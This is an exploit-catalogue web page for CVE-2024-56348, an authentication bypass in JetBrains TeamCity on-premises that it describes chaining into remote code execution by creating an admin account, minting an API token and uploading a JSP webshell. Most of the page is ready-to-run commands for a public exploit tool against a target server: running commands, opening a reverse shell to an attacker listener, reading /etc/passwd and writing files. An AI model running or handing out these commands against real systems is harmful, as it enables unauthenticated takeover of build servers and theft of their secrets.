Skip to content
HackIndex logo

HackIndex

CVE-2024-56348:
JetBrains TeamCity Authentication Bypass + RCE

Published: Mar 8, 2026
Medium
AuthZ

CVE-2024-56348 is a critical authentication bypass vulnerability in JetBrains TeamCity on-premises affecting all versions prior to 2024.12. The REST API improperly handles requests to paths containing ;.jsp, allowing an unauthenticated attacker to invoke any REST endpoint as if fully authenticated.

This exploit chains the bypass with TeamCity's own REST API to create a SYSTEM_ADMIN account, mint an API token, and achieve full remote code execution — either through the built-in debug endpoint or a dynamically uploaded JSP plugin webshell. No credentials required.

Affected versions: JetBrains TeamCity on-premises < 2024.12

joshuavanderpoll/CVE-2024-56348
JetBrains TeamCity <2024.12 auth bypass + RCE exploit
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT
joshuavanderpoll/CVE-2024-56348
JetBrains TeamCity <2024.12 auth bypass + RCE exploit
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT -command "id"
joshuavanderpoll/CVE-2024-56348
JetBrains TeamCity <2024.12 auth bypass + RCE exploit
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT -shell -lhost 10.0.0.1 -lport 4444
joshuavanderpoll/CVE-2024-56348
JetBrains TeamCity <2024.12 auth bypass + RCE exploit
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT -read-file /etc/passwd
joshuavanderpoll/CVE-2024-56348
JetBrains TeamCity <2024.12 auth bypass + RCE exploit
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://$TARGET_IP:$TARGET_PORT -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"